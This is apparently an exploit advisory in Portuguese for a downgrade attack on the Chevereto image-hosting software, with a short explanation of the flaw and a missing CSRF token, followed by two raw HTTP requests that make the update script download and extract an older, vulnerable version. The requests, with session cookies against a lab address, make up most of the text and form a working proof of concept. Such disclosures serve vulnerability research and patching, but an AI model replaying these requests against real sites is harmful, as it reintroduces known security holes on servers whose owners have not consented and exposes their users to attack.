
Ataque de downgrade no Chevereto - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core
Ataque de downgrade do Chevereto - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core. Um usuário administrador pode instruir o script de atualização a fazer downgrade para outra versão em vez de fazer upgrade, reintroduzindo falhas anteriores. Devido à falta de um token CSRF, este ataque também pode ser usado em um ataque CSRF, significando que um administrador pode ser enganado para realizar esta ação.
O servidor retornará o nome completo do arquivo baixado, que será então usado na próxima requisição
GET /update/?action=download&version=3.13.4 HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.0.88/dashboard/settings/external-services
Cookie: PHPSESSID=47s523u1s4m67g0vaheldg4s31; KEEP_LOGIN=I8G%3A65983a8df3bcb482e2571a6e771c89600221f615208d39aee8bf6663b88aef732c7783e202410a7ae4c3ad2205c96baeddb841b912325b359ec79528638807efbff73a017c6d719aa0cab0d6a5814d98a671c17d457479371228c590e215f7e8bc7bfcb820142106%3A1575658473
Upgrade-Insecure-Requests: 1
GET /update/?action=extract&file=chevereto_3.13.4_3e50e6fa70915cd22849819f.zip HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.0.88/dashboard/settings/external-services
Cookie: PHPSESSID=47s523u1s4m67g0vaheldg4s31; KEEP_LOGIN=I8G%3A65983a8df3bcb482e2571a6e771c89600221f615208d39aee8bf6663b88aef732c7783e202410a7ae4c3ad2205c96baeddb841b912325b359ec79528638807efbff73a017c6d719aa0cab0d6a5814d98a671c17d457479371228c590e215f7e8bc7bfcb820142106%3A1575658473
Upgrade-Insecure-Requests: 1